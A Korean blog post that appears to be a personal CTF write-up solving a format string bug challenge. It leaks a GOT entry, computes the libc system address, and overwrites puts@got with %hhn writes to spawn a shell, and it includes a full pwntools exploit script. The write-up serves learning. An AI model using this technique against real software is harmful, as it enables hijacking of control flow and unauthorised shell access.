보호기법
프로그램 실행
%6$llx를 쳐보면 입력한게 문자열로 출력됨.
입력한 값이 6번째 인덱스에 있는걸 알았음.
%6$llx 해석
- %6$ → **6번째 인자(argument)**를 참조
- llx → 그 인자를 unsigned long long (8바이트) 정수로 간주하고
→ 그걸 **16진수(lowercase)**로 출력
IDA분석
1. fsb가 가능해 첫번째 read에서 got주소를 넣어서 leak해주고
2. 두 번째 read에서 got overwrite로 puts_got를 system으로 바꿔서 system("/bin/sh")가 실행되게 함.
Exploit
1. read_addr leak
프로그램 실행에서 6번째 인덱스에 내가 입력한 값이 있는걸 알았으니까
7번째 인덱스에 주소를 넣어주고
6번째 인덱스를 사용해 %s로 7번째 인덱스에 있는걸 문자열로 읽어서 출력해주면
got에 있는 실제주소를 읽어옴.
read@got를 사용해볼거임.
read@got : 0x403310
2. system함수 주소 계산
3. puts함수 got overwrite
puts@got : 0x4032f0
이 주소를 system함수의 주소로 바꿔줘야한다.
근데 fsb로 got overwrite를 해주려면 계산이 필요함.
<<예시>>
바이트 | 목표값 | 누적 출력 | 계산 | 포맷 |
첫 번째 | 0x50 | 0 | (80-0) % 256 = 80 | %80c%6$hhn |
두 번째 | 0x07 | 80 | (7-80) % 256 = 183 | %183c%7$hhn |
세 번째 | 0x53 | 263 | (83 - 263) % 256 = 76 | %76c%8$hhn |
네 번째 | 0x00 | 339 | (0 - 339) % 256 = 173 | %173c%9$hhn |
(목표값 - 누적출력값) % 256
이런식으로 해야하는데 system함수는 계속 바뀌니까 프로그래밍..
먼저 구해진 system함수를 1byte씩 나눠놓고, 값이 잘 들어갔는지 출력해봄.
값들은 다 잘 들어갔지만, 그냥 들어가면 안되고 누적되는 출력값이 있어서 위에서 계산한 식을 사용해 넣어줘야함. (목표값 - 누적출력값) % 256 이 식을 사용할거임.
패딩값어케할거임..................
got_addr 위치 어케 할거임..
%80d%12$/ hhn%39d%/ 13$hhn%1/ 18d%14$h/ hn%134d%/ 15$hhn ? ? / got_addr / got_addr +1/ got_addr +2/got_addr+3
6 7 8 9 10 11 12 13 14 15
|___________________________________________________________|
48byte
총 48byte까지 패딩으로 채운다고 생각하고 12번째 인덱스부터 got_addr 가 위치하게 된다.
근데 gdb로 바뀐 got주소를 확인해봤는데 4바이트만 들어가있고 앞에 2바이트는 날라가있음.
원인: 한 번 실행해야 실제 주소가 got에 들어가있는데 puts가 처음 실행되기 때문에 plt주소만 들어가 있음.
해결: 앞에 2바이트를 추가해서 채워주면 됨.
%80d%15$/ hhn%231d/ %16$hhn%/ 169d%17$/ hhn%115d/ %18$hhn%/ 42d%19$h/ hn%2d%20/ $hhn ? ? ? ?/ got_addr / got_addr +1/ got_addr +2/got_addr+3
6 7 8 9 10 11 12 13 14 15
|___________________________________________________________|
72byte
사용 코드
from pwn import *
p = process('./fsb')
e = ELF('./fsb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'
# 주소leak
read_got = 0x403310
payload = b'%7$sAAAA' + p64(read_got)
p.send(payload)
dummy = p.recvuntil(b'AAAA').split(b'AAAA')[0]
read_addr = dummy.ljust(8, b'\x00')
read_addr = u64(read_addr)
print(f"[+]read_addr: {hex(read_addr)}")
# system 주소 계산
libc_base = read_addr - libc.symbols['read']
print(f"[+] libc_base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
print(f"[+] system_addr : {hex(system_addr)}")
# count
puts_got = 0x4032f0
b0 = system_addr & 0xff
b1 = (system_addr >> 8) & 0xff
b2 = (system_addr >> 16) & 0xff
b3 = (system_addr >> 24) & 0xff
b4 = (system_addr >> 32) & 0xff
b5 = (system_addr >> 40) & 0xff
written = 0
index6 = f"%{b0}d%15$hhn".encode()
written += b0
pad7 = (b1 - written) % 256
index7 = f"%{pad7}d%16$hhn".encode()
written += pad7
pad8 = (b2 - written) % 256
index8 = f"%{pad8}d%17$hhn".encode()
written += pad8
pad9 = (b3 - written) % 256
index9 = f"%{pad9}d%18$hhn".encode()
written += pad9
pad10 = (b4 - written) % 256
index10 = f"%{pad10}d%19$hhn".encode()
written += pad10
pad11 = (b5 - written) % 256
index11 = f"%{pad11}d%20$hhn".encode()
written += pad11
print("index6:", index6)
print("index7:", index7)
print("index8:", index8)
print("index9:", index9)
print("index10:", index10)
print("index11:", index11)
fmt = index6 + index7 + index8 + index9 + index10 + index11
payload2 = fmt.ljust(72, b'A')
payload2 += p64(puts_got) + p64(puts_got+1) + p64(puts_got+2) + p64(puts_got+3) + p64(puts_got+4) + p64(puts_got+5)
pause()
p.send(payload2)
p.interactive()
'System Hacking > 문제 품' 카테고리의 다른 글
fsb -- $hn사용해서 복습 (0) | 2025.04.23 |
---|---|
diary (1) | 2025.04.17 |
sf2 (0) | 2025.04.13 |
si - stack pivot (0) | 2025.04.10 |
sf3 (0) | 2025.04.09 |